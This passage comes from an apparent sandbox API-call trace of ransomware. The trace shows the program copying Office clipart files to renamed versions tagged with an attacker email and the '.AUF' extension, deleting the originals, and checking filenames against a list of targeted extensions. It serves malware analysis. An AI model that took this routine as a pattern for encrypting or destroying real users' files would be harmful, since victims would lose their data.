lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.768] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0218.769] SetEndOfFile (hFile=0x208) returned 1 [0218.769] CloseHandle (hObject=0x208) returned 1 [0218.769] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.769] SetEndOfFile (hFile=0x168) returned 1 [0218.769] CloseHandle (hObject=0x168) returned 1 [0218.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0218.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0218.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0218.958] lstrlenW (lpString=".doc") returned 4 [0218.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.958] lstrlenW (lpString=".docx") returned 5 [0218.958] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0218.958] lstrlenW (lpString=".pdf") returned 4 [0218.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.958] lstrlenW (lpString=".xls") returned 4 [0218.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.958] lstrlenW (lpString=".xlsx") returned 5 [0218.958] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0218.958] lstrlenW (lpString=".ppt") returned 4 [0218.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0218.958] lstrlenW (lpString=".zip") returned 4 [0218.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.958] lstrlenW (lpString=".rar") returned 4 [0218.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.958] lstrlenW (lpString=".bz2") returned 4 [0218.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.958] lstrlenW (lpString=".7z") returned 3 [0218.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0218.958] lstrlenW (lpString=".dbf") returned 4 [0218.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0218.958] lstrlenW (lpString=".1cd") returned 4 [0218.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0218.958] lstrlenW (lpString=".jpg") returned 4 [0218.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.959] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.959] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0218.959] GetLastError () returned 0x0 [0218.959] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0219.111] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x9c60, lpOverlapped=0x0) returned 1 [0219.112] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.112] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.113] SetEndOfFile (hFile=0x208) returned 1 [0219.127] CloseHandle (hObject=0x208) returned 1 [0219.127] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.128] SetEndOfFile (hFile=0x1d8) returned 1 [0219.128] CloseHandle (hObject=0x1d8) returned 1 [0219.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0219.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0219.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0219.368] lstrlenW (lpString=".doc") returned 4 [0219.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.368] lstrlenW (lpString=".docx") returned 5 [0219.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.368] lstrlenW (lpString=".pdf") returned 4 [0219.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.368] lstrlenW (lpString=".xls") returned 4 [0219.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.369] lstrlenW (lpString=".xlsx") returned 5 [0219.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.369] lstrlenW (lpString=".ppt") returned 4 [0219.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0219.369] lstrlenW (lpString=".zip") returned 4 [0219.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.369] lstrlenW (lpString=".rar") returned 4 [0219.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.369] lstrlenW (lpString=".bz2") returned 4 [0219.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.369] lstrlenW (lpString=".7z") returned 3 [0219.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0219.369] lstrlenW (lpString=".dbf") returned 4 [0219.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0219.369] lstrlenW (lpString=".1cd") returned 4 [0219.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0219.369] lstrlenW (lpString=".jpg") returned 4 [0219.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.441] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.441] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0219.441] GetLastError () returned 0x0 [0219.441] ReadFile (in: hFile=0x224, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1e94, lpOverlapped=0x0) returned 1 [0219.794] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1ea0, lpOverlapped=0x0) returned 1 [0219.794] ReadFile (in: hFile=0x224, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.794] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.794] SetEndOfFile (hFile=0x21c) returned 1 [0219.794] CloseHandle (hObject=0x21c) returned 1 [0219.794] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.795] SetEndOfFile (hFile=0x224) returned 1 [0219.795] CloseHandle (hObject=0x224) returned 1 [0219.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0220.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0220.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0220.022] lstrlenW (lpString=".doc") returned 4 [0220.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.022] lstrlenW (lpString=".docx") returned 5 [0220.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.023] lstrlenW (lpString=".pdf") returned 4 [0220.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.023] lstrlenW (lpString=".xls") returned 4 [0220.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.023] lstrlenW (lpString=".xlsx") returned 5 [0220.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.023] lstrlenW (lpString=".ppt") returned 4 [0220.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0220.023] lstrlenW (lpString=".zip") returned 4 [0220.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.023] lstrlenW (lpString=".rar") returned 4 [0220.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.023] lstrlenW (lpString=".bz2") returned 4 [0220.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.023] lstrlenW (lpString=".7z") returned 3 [0220.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0220.023] lstrlenW (lpString=".dbf") returned 4 [0220.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0220.023] lstrlenW (lpString=".1cd") returned 4 [0220.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0220.023] lstrlenW (lpString=".jpg") returned 4 [0220.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.070] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.070] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.070] GetLastError () returned 0x0 [0220.070] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2708, lpOverlapped=0x0) returned 1 [0220.113] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2710, lpOverlapped=0x0) returned 1 [0220.114] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.114] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.114] SetEndOfFile (hFile=0x168) returned 1 [0220.115] CloseHandle (hObject=0x168) returned 1 [0220.118] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.118] SetEndOfFile (hFile=0x184) returned 1 [0220.119] CloseHandle (hObject=0x184) returned 1 [0220.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0220.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0220.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0220.119] lstrlenW (lpString=".doc") returned 4 [0220.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.119] lstrlenW (lpString=".docx") returned 5 [0220.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.119] lstrlenW (lpString=".pdf") returned 4 [0220.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.119] lstrlenW (lpString=".xls") returned 4 [0220.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.120] lstrlenW (lpString=".xlsx") returned 5 [0220.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.120] lstrlenW (lpString=".ppt") returned 4 [0220.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0220.120] lstrlenW (lpString=".zip") returned 4 [0220.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.120] lstrlenW (lpString=".rar") returned 4 [0220.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.120] lstrlenW (lpString=".bz2") returned 4 [0220.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.120] lstrlenW (lpString=".7z") returned 3 [0220.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0220.120] lstrlenW (lpString=".dbf") returned 4 [0220.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0220.120] lstrlenW (lpString=".1cd") returned 4 [0220.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0220.120] lstrlenW (lpString=".jpg") returned 4 [0220.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.120] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2226) returned 1 [0220.120] CloseHandle (hObject=0x184) returned 1 [0220.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0220.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0220.121] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.121] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.121] GetLastError () returned 0x0 [0220.121] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x8b2, lpOverlapped=0x0) returned 1 [0220.161] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0220.161] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.161] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.161] SetEndOfFile (hFile=0x168) returned 1 [0220.165] CloseHandle (hObject=0x168) returned 1 [0220.165] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.165] SetEndOfFile (hFile=0x184) returned 1 [0220.166] CloseHandle (hObject=0x184) returned 1 [0220.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0220.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0220.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0220.166] lstrlenW (lpString=".doc") returned 4 [0220.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.166] lstrlenW (lpString=".docx") returned 5 [0220.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.166] lstrlenW (lpString=".pdf") returned 4 [0220.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.166] lstrlenW (lpString=".xls") returned 4 [0220.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.167] lstrlenW (lpString=".xlsx") returned 5 [0220.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.167] lstrlenW (lpString=".ppt") returned 4 [0220.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0220.167] lstrlenW (lpString=".zip") returned 4 [0220.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.167] lstrlenW (lpString=".rar") returned 4 [0220.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.167] lstrlenW (lpString=".bz2") returned 4 [0220.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.167] lstrlenW (lpString=".7z") returned 3 [0220.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0220.167] lstrlenW (lpString=".dbf") returned 4 [0220.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0220.167] lstrlenW (lpString=".1cd") returned 4 [0220.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0220.167] lstrlenW (lpString=".jpg") returned 4 [0220.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.167] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2780) returned 1 [0220.167] CloseHandle (hObject=0x184) returned 1 [0220.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0220.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0220.168] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.168] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.168] GetLastError () returned 0x0 [0220.168] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xadc, lpOverlapped=0x0) returned 1 [0220.194] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xae0, lpOverlapped=0x0) returned 1 [0220.195] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, 